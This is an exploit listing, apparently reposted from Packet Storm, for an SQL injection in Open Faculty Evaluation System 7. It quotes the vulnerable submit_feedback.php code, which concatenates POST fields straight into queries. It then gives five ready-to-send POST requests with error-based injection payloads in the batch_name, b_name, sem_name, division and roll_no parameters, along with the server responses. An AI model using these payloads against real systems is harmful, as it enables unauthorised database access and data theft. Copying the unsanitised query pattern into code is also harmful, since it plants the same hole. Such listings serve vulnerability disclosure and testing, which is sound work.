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Open Faculty Evaluation System 7 SQL Injection

🗓️ 29 Oct 2018 00:00:00Reported by Ihsan SencanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Open Faculty Evaluation System 7 SQL Injection in feedback submissio

Code
`# Exploit Title: Open Faculty Evaluation System 7 - 'batch_name' SQL Injection  
# Dork: N/A  
# Date: 2018-10-29  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://openfacultyeval.sourceforge.io/  
# Software Link: https://sourceforge.net/projects/openfacultyeval/files/feedback_php7.zip/download  
# Version: Php 7  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
/[PATH]/submit_feedback.php  
#....  
#15 include("includes/config_db.php");  
#16   
#17 if(isset($_POST['submit']))  
#18 {  
#19 //feedback no  
#20 $check_feedback_no="select * from batch_master where batch_id='".$_POST['batch_name']."'";  
#21 $res_feedback_no=mysqli_query($conn, $check_feedback_no) or die(mysqli_error($conn));  
#22 $result=mysqli_fetch_array($res_feedback_no);  
#23   
#24   
#25 $sql="select * from feedback_master where roll_no='".$_POST['roll_no']."' and b_id='".$_POST['b_name']."' and f_id='".$_POST['fac_name']."' and sub_id='".$_POST['sub_name']."' and sem_id='".$_POST['sem_name']."' and batch_id='".$_POST['batch_name']."' and division_id='".$_POST['division']."' and feedback_no='".$result['feedback_no']."'";  
#26 //echo $sql;  
#27 $res=mysqli_query($conn, $sql) or die(mysqli_error($conn));  
#28   
#29 //echo mysqli_num_rows($res);  
#30 //exit;  
#31 if(mysqli_num_rows($res)>=1)  
#32 {  
#....  
  
# POC:   
# 1)  
# http://localhost/[PATH]/submit_feedback.php  
#   
POST /[PATH]/submit_feedback.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 282  
batch_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit  
HTTP/1.1 200 OK  
Date: Mon, 29 Oct 2018 00:42:01 GMT  
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22  
X-Powered-By: PHP/7.1.22  
Content-Length: 311  
Keep-Alive: timeout=5, max=99  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)  
# http://localhost/[PATH]/submit_feedback.php  
#   
POST /[PATH]/submit_feedback.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 278  
b_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit  
HTTP/1.1 200 OK  
Date: Mon, 29 Oct 2018 00:58:04 GMT  
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22  
X-Powered-By: PHP/7.1.22  
Content-Length: 1315  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 3)  
# http://localhost/[PATH]/submit_feedback.php  
#   
POST /[PATH]/submit_feedback.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 280  
sem_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit  
HTTP/1.1 200 OK  
Date: Mon, 29 Oct 2018 00:58:15 GMT  
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22  
X-Powered-By: PHP/7.1.22  
Content-Length: 1313  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 4)  
# http://localhost/[PATH]/submit_feedback.php  
#   
POST /[PATH]/submit_feedback.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 280  
division=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit  
HTTP/1.1 200 OK  
Date: Mon, 29 Oct 2018 00:58:26 GMT  
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22  
X-Powered-By: PHP/7.1.22  
Content-Length: 1313  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 5)  
# http://localhost/[PATH]/submit_feedback.php  
#   
POST /[PATH]/submit_feedback.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 279  
roll_no=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit  
HTTP/1.1 200 OK  
Date: Mon, 29 Oct 2018 00:58:33 GMT  
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/7.1.22  
X-Powered-By: PHP/7.1.22  
Content-Length: 1314  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
  
`

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